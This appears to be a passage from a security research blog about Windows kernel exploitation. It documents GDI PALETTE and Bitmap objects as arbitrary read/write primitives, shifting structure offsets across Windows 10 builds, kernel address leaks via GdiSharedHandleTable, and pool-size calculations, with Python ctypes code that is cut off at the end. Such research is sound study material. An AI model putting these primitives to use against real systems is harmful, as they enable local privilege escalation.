<a href="https://sensepost.com/blog/2017/abusing-gdi-objects-for-ring0-primitives-revolution/">SensePost | Abusing gdi objects for ring0 primitives revolution</a></div>
<br />
<div style="text-align: justify;">
I decided to implement PALETTE read-write primitives for my kex Python library, and this post is about how did I do that. Basically we need the following info:</div>
<ol start="1">
<li>What is their size and offset?
</li>
<li>How to create them?
</li>
<li>How to read / write with them?
</li>
</ol>
Every document I read showed the following structure outline:<br />
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">typedef struct _PALETTE64
{
BASEOBJECT64 BaseObject; // 0x00
FLONG flPal; // 0x18
ULONG32 cEntries; // 0x1C
ULONG32 ulTime; // 0x20
HDC hdcHead; // 0x24
ULONG64 hSelected; // 0x28,
ULONG64 cRefhpal; // 0x30
ULONG64 cRefRegular; // 0x34
ULONG64 ptransFore; // 0x3c
ULONG64 ptransCurrent; // 0x44
ULONG64 ptransOld; // 0x4C
ULONG32 unk_038; // 0x38
ULONG64 pfnGetNearest; // 0x3c
ULONG64 pfnGetMatch; // 0x40
ULONG64 ulRGBTime; // 0x44
ULONG64 pRGBXlate; // 0x48
PALETTEENTRY *pFirstColor; // 0x80
struct _PALETTE *ppalThis; // 0x88
PALETTEENTRY apalColors[3]; // 0x90
}</span></code></pre>
<br />
<div style="text-align: justify;">
What is important from this is the full size of the structure, which is 0x90 (that is the offset to the PALETTEENTRY array) and the offset to pFirstColor, which points to the array, and this is the pointer that will need to be overwritten to get the read / write primitives. This is at offset 0x80 at every documentation I saw so far, and what you can read everywhere is that this technique works up to Windows10 v1709 (RS3) - and maybe even later, but we don’t know that yet.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The size of the entire object without the POOL_HEADER is basically this PALETTE64 structure + the PALETTEENTRY array. One PALETTEENTRY is 4 bytes as we can see (this will be important later):</div>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">class PALETTEENTRY(Structure):
_fields_ = [
("peRed", BYTE),
("peGreen", BYTE),
("peBlue", BYTE),
("peFlags", BYTE)
]</span></code></pre>
<br />
<div style="text-align: justify;">
There is a nice implementation made by Sebastian Apelt from Siberas (see the link above), which I also used as my base in my Python implementation. To create a PALETTE, there is a simple API call:</div>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">HPALETTE CreatePalette(
_In_ const LOGPALETTE *lplgpl
);</span></code></pre>
<br />
where LOGPALETTE looks like this:<br />
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">class LOGPALETTE(Structure):
_fields_ = [
("palVersion", WORD),
("palNumEntries", WORD),
("palPalEntry", POINTER(PALETTEENTRY))
]</span></code></pre>
<br />
<div style="text-align: justify;">
So essentially to create a PALETTE, we need to calculate the size, populate the structure, and call the API, somehow like this:</div>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">pal_cnt = (size - palette_entries_offset) / 4
lPalette = LOGPALETTE()
lPalette.palNumEntries = pal_cnt
lPalette.palVersion = 0x300
palette_handle = gdi32.CreatePalette(byref(lPalette))</span></code></pre>
<br />
<div style="text-align: justify;">
As the PALETTEENTRY is 4 bytes, we need to calculate the proper number of entries required for us to reserve the proper size.</div>
<br />
<div style="text-align: justify;">
Once we have this, we can start read / write, once we overwritten the manager’s palette pFirstColor pointer. To perform these actions we can use the following functions.</div>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">UINT GetPaletteEntries(
_In_ HPALETTE hpal,
_In_ UINT iStartIndex,
_In_ UINT nEntries,
_Out_ LPPALETTEENTRY lppe
);
UINT SetPaletteEntries(
_In_ HPALETTE hpal,
_In_ UINT iStart,
_In_ UINT cEntries,
_In_ const PALETTEENTRY *lppe
);</span></code></pre>
<br />
<div style="text-align: justify;">
These can be used just as we used GetBitmapBits / SetBitmapBits. There is an important difference, here we tell the function to read X number of PALETTEENTRYs, which is 4 bytes long. This means that if we want to read 8 bytes (an address in x64), we need to provide the value 2 - dividing the size by 4. That’s it, after that it’s essentially the same. Here is my Python implementation:</div>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">def set_address_palette(manager_platte_handle, address):
address = c_ulonglong(address)
gdi32.SetPaletteEntries(manager_platte_handle, 0, sizeof(address)/4, addressof(address));
def write_memory_palette(manager_platte_handle, worker_platte_handle, dst, src, len):
set_address_palette(manager_platte_handle, dst)
gdi32.SetPaletteEntries(worker_platte_handle, 0, len/4, src)
def read_memory_palette(manager_platte_handle, worker_platte_handle, src, dst, len):
set_address_palette(manager_platte_handle, src)
gdi32.GetPaletteEntries(worker_platte_handle, 0, len/4, dst)</span></code></pre>
<br />
<div style="text-align: justify;">
and basically that’s it, essentially this will work the same as BITMAPs. You can leak the kernel address of the object with Window objects just as we did with BITMAPs on Win10 v1703 (or earlier). This leak will also work on Win10 v1709.</div>
<br />
Wish everything was so simple!<br />
<br />
<div style="text-align: justify;">
So I started to test this on Win10 v1511, and it worked for first! Nice! I was happy :) It took some time to build a Win10 v1709, so I went ahead and run the same exploit on Win10 v1607, and…. BSOD!! I run it again, and got BSOD again with POOL corruption. So I started to dig into what goes on as I was pretty sure I’m overwriting something wrong. Notice the problem?</div>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">0: kd> dc ffff89c9c4611000
ffff89c9`c4611000 7e08083b 00000000 00000000 00000000 ;..~............
ffff89c9`c4611010 d9c0a080 ffff910b 00000501 000003de ................
ffff89c9`c4611020 00003868 00000000 00000000 00000000 h8..............
ffff89c9`c4611030 00000000 00000000 00000000 00000000 ................
ffff89c9`c4611040 00000000 00000000 00000000 00000000 ................
ffff89c9`c4611050 00000000 00000000 00000000 00000000 ................
ffff89c9`c4611060 00000002 00000001 00000000 00000000 ................
ffff89c9`c4611070 00000000 00000000 c4611088 ffff89c9 ..........a.....
ffff89c9`c4611080 c4611000 ffff89c9 00000000 00000000 ................
0: kd> !pool ffff89c9c4611000
Pool page ffff89c9c4611000 region is Unknown
ffff89c9c4611000 is not a valid large pool allocation, checking large session pool...
*ffff89c9c4611000 : large page allocation, tag is Gh08, size is 0x1010 bytes
Pooltag Gh08 : GDITAG_HMGR_PAL_TYPE, Binary : win32k.sys</span></code></pre>
<br />
So this is the end of the PALETTE64 structure:<br />
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;"> PALETTEENTRY *pFirstColor; // 0x80
struct _PALETTE *ppalThis; // 0x88
PALETTEENTRY apalColors[3]; // 0x90</span></code></pre>
<br />
This doesn’t align with the output from WinDBG dump. So it turns out the new offsets are:<br />
<span style="color: #3d85c6;"><br /></span>
<pre><code class="code-multiline"><span style="color: #3d85c6;"> PALETTEENTRY *pFirstColor; // 0x78
struct _PALETTE *ppalThis; // 0x80
PALETTEENTRY apalColors[3]; // 0x88</span></code></pre>
<br />
<div style="text-align: justify;">
I didn’t check what is missing or what became smaller, but from Win10 v1607 this is the correct offset, including v1709.</div>
<br />
<div style="text-align: justify;">
Sweet, so now that is fixed, I got this working on v1607 and v1703, but it broke on v1709! It didn’t BSOD but I couldn’t leak the address anymore! What? Everyone said it works! Ok, let’s see the Window leak. The offsets changed there at version v1703, so there was a good chance they did again on v1709. Essentially:</div>
<br />
<u>Windows 10x64 v1607 and earlier (? - only tested back to v1511, not sure on Win8 or 7):</u><br />
pcls = 0x98<br />
lpszMenuNameOffset = 0x88<br />
<br />
<u>Windows10x64 v1703:</u><br />
pcls = 0xa8<br />
lpszMenuNameOffset = 0x90<br />
<br />
<u>Windows10x64 v1709:</u><br />
pcls = 0xa8<br />
lpszMenuNameOffset = 0x98<br />
<br />
<div style="text-align: justify;">
Once I fixed these as well, all started to work.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
I checked and the structure offsets required for token stealing didn’t change, so essentially that was all.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Structure offsets change too often, and sometimes it’s not easy to track them down, essentially this is one of the reasons I’m trying to make 'kex' and hardcode all these offsets, so I can make OS independent exploits. With the current version you can essentially call these functions on version of Win10x64 and get it work reliably. Link: <a href="https://github.com/theevilbit/kex/">GitHub - theevilbit/kex</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
In order to make it easier for people contributing to offsets, and also make it easier for those, who want to code the same in different languages, I’m starting an offset table on the same GitHub repo. Directly: <a href="https://github.com/theevilbit/kex/blob/master/OFFSETS.md" target="_blank">OFFSETS.md</a></div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-71644394305883010232017-10-28T16:04:00.000+02:002017-10-28T16:04:10.680+02:00kex - python kernel exploit library - major update<div style="text-align: justify;">
I made a major update to my Python kernel exploitation 'library' (kex). In short:</div>
<br />
<ul>
<li style="text-align: justify;">GDI abuse functions (original source: <a href="https://github.com/GradiusX" target="_blank">https://github.com/GradiusX</a>)</li>
<li style="text-align: justify;">Wrapper functions for GDI abuse to mask the platform (Will work from Win7x64 to Win10x64 v1703 universally using different methods based on the platform)</li>
<li style="text-align: justify;">Calculate bitmap sizes based on platform (Win7x64 SP1 - Win10 v1607)</li>
<li style="text-align: justify;">Added lots of x64 struct constants (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token)</li>
<li style="text-align: justify;">Lot's of comments</li>
</ul>
<div style="text-align: justify;">
I also uploaded an example to show how it can ease exploit development. The use case is the HackSysExtremeVulnerbaleDriver Arbitrary overwrite, where it will do it with GDI abuse. Under the hood it will do different techniques related to the platform.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Link:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<a href="https://github.com/theevilbit/kex" target="_blank">https://github.com/theevilbit/kex</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Some items from my todo list:</div>
<div style="text-align: justify;">
<ul>
<li>pool spraying with bitmaps</li>
<li>PALETTE objects</li>
<li>other kernel pool spraying techniques</li>
<li>enable GDI abuse techniques for x86</li>
</ul>
<div>
If I made any errors submit a pull request or leave a comment.</div>
</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div>
<br /></div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-87100034716572123702017-10-27T18:08:00.000+02:002017-10-28T16:08:00.947+02:00Abusing GDI objects: Bitmap object’s size in the kernel pool<div class="note-wrapper">
<div style="text-align: justify;">
I’m looking into the GDI object abuse techniques for kernel pool exploitation, and found that there is no documentation about how large memory is allocated to the Bitmap object in the kernel paged pool. I read though many exploit codes, articles, but it seemed that everyone is doing this by trial and error, so I decided to take a look, and try to find logic in the allocation.
</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The function to create a bitmap is:</div>
<div style="text-align: justify;">
<br /></div>
<pre><div style="text-align: left;">
<span style="color: #3d85c6;">HBITMAP CreateBitmap(</span></div>
<code class="code-multiline"><div style="text-align: left;">
<span style="color: #3d85c6;">_In_ int nWidth,</span></div>
<span style="color: #3d85c6;"><div style="text-align: left;">
_In_ int nHeight,</div>
_In_ UINT cPlanes,
<div style="text-align: left;">
_In_ UINT cBitsPerPel,</div>
_In_ const VOID *lpvBits
<div style="text-align: left;">
);</div>
</span></code></pre>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Every code I saw sets the cPlanes to “1” and the *lpvBits to NULL, so let’s ignore them, and use that setting. The rest of the variables are related to the bitmap’s actual size, and it makes perfect sense for those to affect the object size allocated.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
We will also need to make difference between two cases:</div>
<ol start="1">
<li style="text-align: justify;">When the bitmap < 0x1000
</li>
<li style="text-align: justify;">When the bitmap >= 0x1000, in this case the allocation goes to the large paged pool allocation table
</li>
</ol>
<div style="text-align: justify;">
Let’s start with the first one, and try a few cases on Windows 10x64 v1511. My first try is: </div>
<div style="text-align: justify;">
<code class="code-inline"><span style="color: #3d85c6;">create_bitmap(820, 2, 8)</span></code></div>
<div style="text-align: justify;">
where:</div>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">nWidth = 820
nHeight = 2
cBitsPerCel = 8</span></code></pre>
<br />
<div style="text-align: justify;">
I use some functions to leak the address to the kernel so I can easily find it. Unfortunately WinDBG is not really helpful with the !pool, !poolfind, etc… commands (they don’t work) and I’m not sure why. Also the <code class="code-inline">dt <span style="color: #3d85c6;">nt!_POOL_HEADER</span></code> returns:</div>
<br />
<code class="code-inline"><span style="color: #3d85c6;">Symbol nt!_POOL_HEADER not found.</span></code><br />
<code class="code-inline"><span style="color: #3d85c6;"><br /></span></code>
<br />
<div style="text-align: justify;">
So I need to do this the hard way. This is the dump of the bitmap with the POOL_HEADER., which is the first 0x10 bytes. It is followed by the Bitmap object. The pvscan0 value, which is the most interesting to everyone usually, points to 0x258 offset from the beginning of the OBJECT (SURFACE64 in this case - obviously this symbol is also not found by WinDBG, why would it ease things…).</div>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">kd> dc 0xfffff90144314010-10
fffff901`44314000 238d0000 35306847 00000000 00000000 ...#Gh05........
fffff901`44314010 060509ac 00000000 00000000 00000000 ................
fffff901`44314020 00000000 00000000 00000000 00000000 ................
fffff901`44314030 060509ac 00000000 00000000 00000000 ................
fffff901`44314040 00000000 00000000 00000334 00000002 ........4.......
fffff901`44314050 00000668 00000000 44314268 fffff901 h.......hB1D....
fffff901`44314060 44314268 fffff901 00000334 00002402 hB1D....4....$..
fffff901`44314070 00000003 00010000 00000000 00000000 ................</span></code></pre>
<br />
If I take the size of the bitmap: (820 x 2 x 8) / 8 bits = 0x668<br />
POOL_HEADER = 0x10<br />
SURFACE64 + STUFF = 0x258<br />
This sums up to 0x8d0, and if we check:<br />
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">kd> dc 0xfffff90144314010-10+8d0 L4
fffff901`443148d0 0073008d 00000000 00000000 00000000 ..s.............</span></code></pre>
<br />
<div style="text-align: justify;">
The next POOL_HEADER indeed reports that the previous pool size is 0x8d (x 0x10) = 0x8d0, so looks like the above calculation is about right, but we will need to refine it.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Next:</div>
<div style="text-align: justify;">
<code class="code-inline"><span style="color: #3d85c6;">create_bitmap(1000, 2, 8)</span></code></div>
<div style="text-align: justify;">
Here we need to refine it a bit:</div>
<div style="text-align: justify;">
BITMAP: (1000 x 2 x 8) / 8 bits = 0x7d0</div>
<div style="text-align: justify;">
POOL_HEADER = 0x10</div>
<div style="text-align: justify;">
SURFACE64 + STUFF = 0x258</div>
<div style="text-align: justify;">
If we sum it, it add to 0xa38, however we need to pad it so:</div>
<div style="text-align: justify;">
SIZE mod 0x10 = 0</div>
<div style="text-align: justify;">
Which gives us 0xa40</div>
<div style="text-align: justify;">
and indeed we can see this:</div>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">kd> dc 0xfffff90140764010-0x10
fffff901`40764000 23a40000 35306847 9bbcb758 8476aa01 ...#Gh05X.....v.
fffff901`40764010 da0530cd ffffffff 00000000 00000000 .0..............
fffff901`40764020 00000000 00000000 00000000 00000000 ................
fffff901`40764030 da0530cd ffffffff 00000000 00000000 .0..............
fffff901`40764040 00000000 00000000 000003e8 00000002 ................
fffff901`40764050 000007d0 00000000 40764268 fffff901 ........hBv@....
fffff901`40764060 40764268 fffff901 000003e8 000090b3 hBv@............
fffff901`40764070 00000003 00010000 00000000 00000000 ................
kd> dc 0xfffff90140764010-0x10+a40
fffff901`40764a40 001600</span><span style="color: red;"><b><u>a4</u></b></span><span style="color: #3d85c6;"> 65657246 742b06f2 fffff802 ....Free..+t....
fffff901`40764a50 422a8470 fffff901 40788470 fffff901 p.*B....p.x@....
fffff901`40764a60 00000000 00000000 00000000 00000000 ................
fffff901`40764a70 00000000 00000000 00000000 00000000 ................
fffff901`40764a80 00000000 00000000 00000000 00000000 ................
fffff901`40764a90 00000000 00000000 00000000 00000000 ................
fffff901`40764aa0 423d2018 fffff901 000000c2 000001fe . =B............
fffff901`40764ab0 00000087 00000000 423d2138 fffff901 ........8!=B....</span></code></pre>
<br />
Let’s see if it work reverse:<br />
I want an allocation of size: 0xe70, the following should do it:<br />
<code class="code-inline"><span style="color: #3d85c6;">create_bitmap(0xc08, 1, 8)</span></code><br />
and it works:<br />
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">lkd> dc 0xFFFFF901407D1010-10
fffff901`407d1000 23e70000 35306847 00000000 00000000 ...#Gh05........
fffff901`407d1010 08050a4b 00000000 00000000 00000000 K...............
fffff901`407d1020 00000000 00000000 00000000 00000000 ................
fffff901`407d1030 08050a4b 00000000 00000000 00000000 K...............
fffff901`407d1040 00000000 00000000 00000c08 00000001 ................
fffff901`407d1050 00000c08 00000000 407d1268 fffff901 ........h.}@....
fffff901`407d1060 407d1268 fffff901 00000c08 00002ea2 h.}@............
fffff901`407d1070 00000003 00010000 00000000 00000000 ................
lkd> dc 0xFFFFF901407D1010-10+e70
fffff901`407d1e70 001900</span><span style="color: red;"><b><u>e7</u></b></span><span style="color: #3d85c6;"> 00000000 00000000 00000000 ................
fffff901`407d1e80 407d3e80 fffff901 407cfe80 fffff901 .>}@......|@....
fffff901`407d1e90 00000000 00000000 00000000 00000000 ................
fffff901`407d1ea0 00000000 00000000 00000000 00000000 ................
fffff901`407d1eb0 00000000 00000000 00000000 00000000 ................
fffff901`407d1ec0 00000000 00000000 00000000 00000000 ................
fffff901`407d1ed0 00000000 00000000 00000000 00000000 ................
fffff901`407d1ee0 00000000 00000000 00000000 00000000 ................</span></code></pre>
<br />
So the function would be:<br />
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">def allocate_bitmap_with_given_size(s):
width = s - 0x258 - 0x10
create_bitmap (width, 1, 8)</span></code></pre>
<br />
There is one more thing: it seems that if the bitmap is small, it will be at least 0x370 in size:<br />
<br />
<code class="code-inline"><span style="color: #3d85c6;">create_bitmap(100, 1, 8)</span></code><br />
<span style="color: #3d85c6;"><br /></span>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">lkd> dc 0xFFFFF9014269B320-10
fffff901`4269b310 23370009 35616c47 65b7acb6 cf1485cc ..7#Gla5...e....
fffff901`4269b320 06050ad3 00000000 00000000 80000000 ................
fffff901`4269b330 00000000 00000000 00000000 00000000 ................
fffff901`4269b340 06050ad3 00000000 00000000 00000000 ................
fffff901`4269b350 00000000 00000000 00000064 00000001 ........d.......
fffff901`4269b360 00000064 00000000 4269b578 fffff901 d.......x.iB....
fffff901`4269b370 4269b578 fffff901 00000064 00003c23 x.iB....d...#<..
fffff901`4269b380 00000003 00010000 00000000 00000000 ................
lkd> dc 0xFFFFF9014269B320-10+370
fffff901`4269b680 000300</span><b><u><span style="color: red;">37</span></u></b><span style="color: #3d85c6;"> 65657246 65b7a926 cf1485cc 7...Free&..e....
fffff901`4269b690 46b60e20 ffffd000 4251c970 fffff901 ..F....p.QB....
fffff901`4269b6a0 4269b6b0 fffff901 13995a90 fffff960 ..iB.....Z..`...
fffff901`4269b6b0 230f0003 34616c47 423b7108 fffff901 ...#Gla4.q;B....
fffff901`4269b6c0 00000000 00000000 00000000 80000000 ................
fffff901`4269b6d0 00000000 00000000 000000d8 00000000 ................
fffff901`4269b6e0 00000000 72724401 4269b738 fffff901 .....Drr8.iB....
fffff901`4269b6f0 4269b6f0 fffff901 4269b6f0 fffff901 ..iB......iB....</span></code></pre>
<span style="color: #3d85c6;"><br /></span>
<code class="code-inline"><span style="color: #3d85c6;">create_bitmap(1, 1, 8)</span></code><br />
<span style="color: #3d85c6;"><br /></span>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">lkd> dc 0xFFFFF90142615370-10
fffff901`42615360 2337000e 35616c47 42615360 fffff901 ..7#Gla5`SaB....
fffff901`42615370 13050ad9 00000000 00000000 80000000 ................
fffff901`42615380 00000000 00000000 00000000 00000000 ................
fffff901`42615390 13050ad9 00000000 00000000 00000000 ................
fffff901`426153a0 00000000 00000000 00000001 00000001 ................
fffff901`426153b0 00000004 00000000 426155c8 fffff901 .........UaB....
fffff901`426153c0 426155c8 fffff901 00000004 0000407f .UaB.........@..
fffff901`426153d0 00000003 00010000 00000000 00000000 ................
lkd> dc 0xFFFFF90142615370-10+370
fffff901`426156d0 002500</span><span style="color: red;"><b><u>37</u></b></span><span style="color: #3d85c6;"> 65657246 65bf4976 cf1485cc 7.%.FreevI.e....
fffff901`426156e0 42417570 fffff901 46b61040 ffffd000 puAB....@..F....
fffff901`426156f0 40768dd0 fffff901 488e1a50 000001f8 ..v@....P..H....
fffff901`42615700 00000000 00000000 00000000 00000000 ................
fffff901`42615710 00000000 00000000 00000000 00000000 ................
fffff901`42615720 00000000 00000000 00000000 00000000 ................
fffff901`42615730 00000000 00000000 00000000 00000000 ................
fffff901`42615740 00000000 00000000 00000000 00000000 ................</span></code></pre>
<br />
<div style="text-align: justify;">
So this is for the smaller allocations. For allocations at least 0x1000, we don’t have POOL_HEADER, as they go to the large pool, so if I do:</div>
<br />
<code class="code-inline"><span style="color: #3d85c6;">create_bitmap(0xda8, 1, 8)</span></code><br />
<br />
(0xda8 + 0x258 = 0x1000)<br />
<br />
They are allocated right after each other:<br />
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">[+] Bitmap handle: 0x370508e8L
[*] Bitmap's kernel address: 0xFFFFF901426E0000
[+] Bitmap handle: 0xffffffffa80507d0L
[*] Bitmap's kernel address: 0xFFFFF901426E1000
[+] Bitmap handle: 0x38050680L
[*] Bitmap's kernel address: 0xFFFFF901426E2000
[+] Bitmap handle: 0x2405067fL
[*] Bitmap's kernel address: 0xFFFFF901426E3000</span></code></pre>
<br />
If I do:<br />
<br />
<code class="code-inline"><span style="color: #3d85c6;">create_bitmap(0x12a8, 1, 8)</span></code><br />
<br />
That will create an 0x1500 byte allocation, and finally the !pool command started to produce output:<br />
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">lkd> !pool 0xFFFFF90142768000
Pool page fffff90142768000 region is Paged session pool
fffff90142768000 is not a valid large pool allocation, checking large session pool...
*fffff90142768000 : large page allocation, tag is Gh05, size is 0x1500 bytes
Pooltag Gh05 : GDITAG_HMGR_SURF_TYPE, Binary : win32k.sys</span></code></pre>
<br />
We can also see the “Frag” and “Free” tags at the end, marking the end of the allocation:<br />
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">lkd> dc 0xFFFFF90142768000 + 1500
fffff901`42769500 23020000 67617246 00000000 00000000 ...#Frag........
fffff901`42769510 00001500 00000000 00000000 00000000 ................
fffff901`42769520 00ae0002 65657246 00000000 00000000 ....Free........
fffff901`42769530 4276b530 fffff901 42767530 fffff901 0.vB....0uvB....
fffff901`42769540 00000000 00000000 00000000 00000000 ................
fffff901`42769550 00000000 00000000 00000000 00000000 ................
fffff901`42769560 00000000 00000000 00000000 00000000 ................
fffff901`42769570 00000000 00000000 00000000 00000000 ................</span></code></pre>
<br />
So our final function would be:<br />
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">def allocate_bitmap_with_given_size(s):
if s < 0x370:
print "[-] Too small size, such Bitmap can’t be allocated…"
sys.exit(-1)
elif s < 0x1000:
print "[+] Allocating Bitmap in the Paged paged pool"
width = s - 0x258 - 0x10
create_bitmap (width, 1, 8)
else:
print "[+] Allocating Bitmap in the Paged session pool / large pool"
width = s - 0x258
create_bitmap (width, 1, 8)</span></code></pre>
<br />
If I made any mistakes, let me know. This was tested on Win10 x64 v1511 only. The structures are different on x86 so that will be different for sure.<br />
<br />
Here is the Python code I used for testing:<br />
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;"><span class="sf_code_syntax_preprocessor">from</span> ctypes <span class="sf_code_syntax_preprocessor">import</span> <span class="sf_code_syntax_keyword">*</span>
<span class="sf_code_syntax_preprocessor">from</span> ctypes.wintypes <span class="sf_code_syntax_preprocessor">import</span> <span class="sf_code_syntax_keyword">*</span>
ULONG_PTR <span class="sf_code_syntax_keyword">=</span> PVOID <span class="sf_code_syntax_keyword">=</span> LPVOID <span class="sf_code_syntax_keyword">=</span> PVOID64 <span class="sf_code_syntax_keyword">=</span> c_void_p
PROCESSINFOCLASS <span class="sf_code_syntax_keyword">=</span> DWORD
ULONG <span class="sf_code_syntax_keyword">=</span> c_uint32
PULONG <span class="sf_code_syntax_keyword">=</span> POINTER(ULONG)
NTSTATUS <span class="sf_code_syntax_keyword">=</span> DWORD
<span class="sf_code_syntax_project">class</span> PEB(Structure):
_fields_ <span class="sf_code_syntax_keyword">=</span> [
(<span class="sf_code_syntax_string">"Stuff"</span>, c_byte <span class="sf_code_syntax_keyword">*</span> <span class="sf_code_syntax_number">0x</span>F8),
(<span class="sf_code_syntax_string">"GdiSharedHandleTable"</span>, PVOID)
]
<span class="sf_code_syntax_project">class</span> PROCESS_BASIC_INFORMATION(Structure):
_fields_ <span class="sf_code_syntax_keyword">=</span> [
(<span class="sf_code_syntax_string">"Reserved1"</span>, PVOID),
(<span class="sf_code_syntax_string">"PebBaseAddress"</span>, POINTER(PEB)),
(<span class="sf_code_syntax_string">"Reserved2"</span>, PVOID <span class="sf_code_syntax_keyword">*</span> <span class="sf_code_syntax_number">2</span>),
(<span class="sf_code_syntax_string">"UniqueProcessId"</span>, ULONG_PTR),
(<span class="sf_code_syntax_string">"Reserved3"</span>, PVOID)
]
<span class="sf_code_syntax_project">class</span> GDICELL64(Structure):
_fields_ <span class="sf_code_syntax_keyword">=</span> [
(<span class="sf_code_syntax_string">"pKernelAddress"</span>, PVOID64),
(<span class="sf_code_syntax_string">"wProcessId"</span>, USHORT),
(<span class="sf_code_syntax_string">"wCount"</span>, USHORT),
(<span class="sf_code_syntax_string">"wUpper", USHORT),
("wType"</span>, USHORT),
(<span class="sf_code_syntax_string">"pUserAddress"</span>, PVOID64)
]
ntdll <span class="sf_code_syntax_keyword">=</span> windll.ntdll
gdi32 <span class="sf_code_syntax_keyword">=</span> windll.gdi32
kernel32 <span class="sf_code_syntax_keyword">=</span> windll.kernel32
ntdll.NtQueryInformationProcess.argtypes <span class="sf_code_syntax_keyword">=</span> [HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG]
ntdll.NtQueryInformationProcess.restype <span class="sf_code_syntax_keyword">=</span> NTSTATUS
gdi32.CreateBitmap.argtypes <span class="sf_code_syntax_keyword">=</span> [c_int, c_int, UINT, UINT, c_void_p]
gdi32.CreateBitmap.restype <span class="sf_code_syntax_keyword">=</span> HBITMAP
ProcessBasicInformation <span class="sf_code_syntax_keyword">=</span> <span class="sf_code_syntax_number">0</span> <span class="sf_code_syntax_comment">#Retrieves a pointer to a PEB structure that can be used to determine whether the specified process is being debugged, and a unique value used by the system to identify the specified process. It is best to use the CheckRemoteDebuggerPresent and GetProcessId functions to obtain this information.
</span>
<span class="sf_code_syntax_project">def</span> create_bitmap(width, height, cBitsPerPel):
bitmap_handle <span class="sf_code_syntax_keyword">=</span> HBITMAP()
bitmap_handle <span class="sf_code_syntax_keyword">=</span> gdi32.CreateBitmap(width, height, <span class="sf_code_syntax_number">1</span>, cBitsPerPel, <span class="sf_code_syntax_number">None</span>)
<span class="sf_code_syntax_keyword">if</span> bitmap_handle <span class="sf_code_syntax_keyword">==</span> <span class="sf_code_syntax_number">None</span>:
<span class="sf_code_syntax_keyword">print</span> <span class="sf_code_syntax_string">"[-] Error creating manager bitmap, exiting...."</span>
<span class="sf_code_syntax_keyword">print</span> <span class="sf_code_syntax_string">"[+] Bitmap handle: </span><span class="sf_code_syntax_number">%s</span><span class="sf_code_syntax_string">"</span> <span class="sf_code_syntax_keyword">%</span> <span class="sf_code_syntax_keyword">hex</span>(bitmap_handle)
<span class="sf_code_syntax_keyword">return</span> bitmap_handle
<span class="sf_code_syntax_project">def</span> get_gdisharedhandletable():
<span class="sf_code_syntax_string">"""
This function will return the GdiSharedHandleTable address of the current process
"""
</span> process_basic_information <span class="sf_code_syntax_keyword">=</span> PROCESS_BASIC_INFORMATION()
ntdll.NtQueryInformationProcess(kernel32.GetCurrentProcess(), ProcessBasicInformation, byref(process_basic_information), sizeof(process_basic_information), <span class="sf_code_syntax_number">None</span>)
peb <span class="sf_code_syntax_keyword">=</span> process_basic_information.PebBaseAddress.contents
<span class="sf_code_syntax_keyword">return</span> peb.GdiSharedHandleTable
<span class="sf_code_syntax_project">def</span> get_bitmap_kernel_address(bitmap_handle):
<span class="sf_code_syntax_string">"""
Get the kernel address of the bitmap, works up to Windows 10 v1511
"""
</span> gdicell64_address <span class="sf_code_syntax_keyword">=</span> get_gdisharedhandletable() <span class="sf_code_syntax_keyword">+</span> (bitmap_handle <span class="sf_code_syntax_keyword">&</span> <span class="sf_code_syntax_number">0x</span>FFFF) <span class="sf_code_syntax_keyword">*</span> sizeof(GDICELL64()) <span class="sf_code_syntax_comment">#the address is in user space
</span> gdicell64 <span class="sf_code_syntax_keyword">=</span> cast(gdicell64_address,POINTER(GDICELL64))
<span class="sf_code_syntax_keyword">print</span> <span class="sf_code_syntax_string">"[*] Bitmap's kernel address: 0x</span><span class="sf_code_syntax_number">%X</span><span class="sf_code_syntax_string">" </span><span class="sf_code_syntax_number">% g</span><span class="sf_code_syntax_string">dicell64.contents.pKernelAddress
</span> <span class="sf_code_syntax_keyword">return</span> gdicell64.contents.pKernelAddress
<span class="sf_code_syntax_keyword">for</span> i <span class="sf_code_syntax_keyword">in</span> <span class="sf_code_syntax_keyword">range</span>(<span class="sf_code_syntax_number">100</span>):
